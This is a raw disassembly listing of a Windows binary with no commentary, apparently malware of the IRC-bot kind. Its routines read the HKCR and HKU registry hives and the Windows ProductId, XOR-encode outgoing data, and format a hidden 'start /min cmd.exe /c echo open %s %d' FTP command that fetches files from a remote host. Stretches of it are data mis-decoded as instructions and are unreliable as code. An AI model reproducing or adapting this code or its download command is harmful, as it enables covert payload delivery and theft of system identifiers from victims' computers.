		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436DC4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436DC4:				; CODE XREF: sub_4369E0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2900000h
		nop
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017EE
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_436EAD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436EAD:				; CODE XREF: sub_4369E0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_436F51
; ---------------------------------------------------------------------------


loc_436EB7:				; CODE XREF: sub_4369E0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436F57
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 2930271h
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		call	near ptr 28E0000h
		nop
		test	eax, eax
		jnz	short loc_436F4C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436F4C:				; CODE XREF: sub_4369E0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_436F51:				; CODE XREF: sub_4369E0+4D2j
		call	near ptr 2900000h
		nop


loc_436F57:				; CODE XREF: sub_4369E0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4369E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4370F0	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_43710D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_437103:				; CODE XREF: sub_4370F0+1Bj
		cmp	[eax+edx], cl
		jz	short loc_437111
		inc	eax
		cmp	eax, esi
		jl	short loc_437103


loc_43710D:				; CODE XREF: sub_4370F0+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_437111:				; CODE XREF: sub_4370F0+16j
		pop	esi
		mov	al, 1
		retn
sub_4370F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437130:				; CODE XREF: ___:00401433j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 71AB2B66h
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_448B87+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_4371EC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4371EC:				; CODE XREF: ___:004371E3j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43722E:				; CODE XREF: ___:004372A7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4372A9


loc_43726E:				; CODE XREF: ___:0043723Cj
					; ___:0043724Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4372A0


loc_437293:				; CODE XREF: ___:0043729Ej
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437293


loc_4372A0:				; CODE XREF: ___:00437291j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43722E
; ---------------------------------------------------------------------------


loc_4372A9:				; CODE XREF: ___:0043726Cj
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi
		push	ebp
		call	esi
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437390:				; CODE XREF: ___:00401D75j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B87+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_437442
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_437442:				; CODE XREF: ___:00437439j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437484:				; CODE XREF: ___:004374FDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4374FF


loc_4374C4:				; CODE XREF: ___:00437492j
					; ___:004374A2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4374F6


loc_4374E9:				; CODE XREF: ___:004374F4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4374E9


loc_4374F6:				; CODE XREF: ___:004374E7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_437484
; ---------------------------------------------------------------------------


loc_4374FF:				; CODE XREF: ___:004374C2j
		mov	eax, [esp+28h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi
		push	ebp
		call	esi
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4375F0:				; CODE XREF: ___:00401FFFj
		mov	eax, 200Ch
		call	sub_437B30
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		nop
		call	near ptr byte_5F285B
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B87+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_4376F2
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4376F2:				; CODE XREF: ___:004376E9j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437734:				; CODE XREF: ___:004377ADj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4377AF


loc_437774:				; CODE XREF: ___:00437742j
					; ___:00437752j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4377A6


loc_437799:				; CODE XREF: ___:004377A4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437799


loc_4377A6:				; CODE XREF: ___:00437797j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_437734
; ---------------------------------------------------------------------------


loc_4377AF:				; CODE XREF: ___:00437772j
		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi
		push	ebp
		call	esi
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4378B0:				; CODE XREF: ___:0040191Fj
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_448B87+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43792D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43792D:				; CODE XREF: ___:00437924j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43796F:				; CODE XREF: ___:004379E8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4379EA


loc_4379AF:				; CODE XREF: ___:0043797Dj
					; ___:0043798Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4379E1


loc_4379D4:				; CODE XREF: ___:004379DFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4379D4


loc_4379E1:				; CODE XREF: ___:004379D2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43796F
; ---------------------------------------------------------------------------


loc_4379EA:				; CODE XREF: ___:004379ADj
		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi
		push	ebp
		call	esi
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AB8	proc near		; CODE XREF: SEH_403530+5j
					; SEH_403700+5j ...
		nop
		jmp	near ptr 77C227FAh
sub_437AB8	endp

; ---------------------------------------------------------------------------
		align 10h
dword_437AC0	dd 7FE448E9h, 0E9909A77h, 777E444Ch, 18F5E990h					; ___:0043F018o ...
; ---------------------------------------------------------------------------
		jg	short loc_437B49

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AD2	proc near		; CODE XREF: ___:00406C30p
					; sub_406C50+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_437AD2	endp

; ---------------------------------------------------------------------------
		dd 80FFB3E9h, 7DE9C777h, 71778101h, 8101FCE9h
; ---------------------------------------------------------------------------
		ja	short loc_437B1C

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AEA	proc near		; CODE XREF: sub_406C80+47p
					; ___:00406D1Ap ...
		nop
		jmp	near ptr 77C29CC5h
sub_437AEA	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0F1h, 99h
; ---------------------------------------------------------------------------
		jle	short loc_437B6D
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F1D4
		retn	4
; ---------------------------------------------------------------------------


loc_437B01:				; DATA XREF: ___:off_43F1D4o
		push	esi
		mov	esi, ecx
		call	sub_437EBC
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_437B17
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx


loc_437B17:				; CODE XREF: ___:00437B0Ej
		mov	eax, esi
		pop	esi
; ---------------------------------------------------------------------------
		dw 4C2h
; ---------------------------------------------------------------------------


loc_437B1C:				; CODE XREF: ___:00437AE8j
		add	[ebx+4C2C1h], cl

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437B22	proc near		; CODE XREF: sub_409650+4Dp
					; ___:0040AA6Dp
		jmp	near ptr 77C226F6h
sub_437B22	endp

; ---------------------------------------------------------------------------
		db 0A6h
		db 90h
		db 0E9h, 5Ch, 84h
; ---------------------------------------------------------------------------
		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_437B30	proc near		; CODE XREF: sub_40A100+5p
					; sub_40FE30+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_437B50


loc_437B3C:				; CODE XREF: sub_437B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax


loc_437B49:				; CODE XREF: ___:00437AD0j
		cmp	eax, 1000h
		jnb	short loc_437B3C


loc_437B50:				; CODE XREF: sub_437B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_437B30	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 90h
		db 0E9h, 2 dup(0FAh)
		dd 0E9907780h, 777E5424h
		db 90h
; ---------------------------------------------------------------------------


loc_437B6D:				; CODE XREF: ___:00437AF4j
		jmp	near ptr 77C3FA76h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7780FED8h, 2300E990h, 9DE97780h, 347780FDh, 487DE990h
		dd 3D83777Fh, 5109B4h, 0FF0C75FFh, 0E8042474h, 777FD25Ch
		dd 68C35990h, 5109A4h, 5109B468h, 2474FF00h, 310E80Ch
		dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h
		dd 0C348D8F7h, 7F464EE9h, 0E9E9E677h, 0AE777FF5h, 7FF5FAE9h
; ---------------------------------------------------------------------------
		ja	short loc_437C07

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437BDA	proc near		; CODE XREF: sub_4199C0+28p
		jmp	near ptr 77C4FA10h
sub_437BDA	endp

; ---------------------------------------------------------------------------
		db 7Bh

; =============== S U B	R O U T	I N E =======================================



sub_437BE0	proc near		; CODE XREF: sub_41B920+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_437C01
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_437C51
; ---------------------------------------------------------------------------


loc_437C01:				; CODE XREF: sub_437BE0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]


loc_437C07:				; CODE XREF: ___:00437BD8j
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_437C0F:				; CODE XREF: sub_437BE0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C0F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_437C3A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_437C3A
		jb	short loc_437C42
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_437C42


loc_437C3A:				; CODE XREF: sub_437BE0+4Aj
					; sub_437BE0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_437C42:				; CODE XREF: sub_437BE0+52j
					; sub_437BE0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_437C51:				; CODE XREF: sub_437BE0+1Fj
		pop	ebx
		retn	10h
sub_437BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_437C60	proc near		; CODE XREF: sub_41B920+30p
					; sub_41B920+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_437C82
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
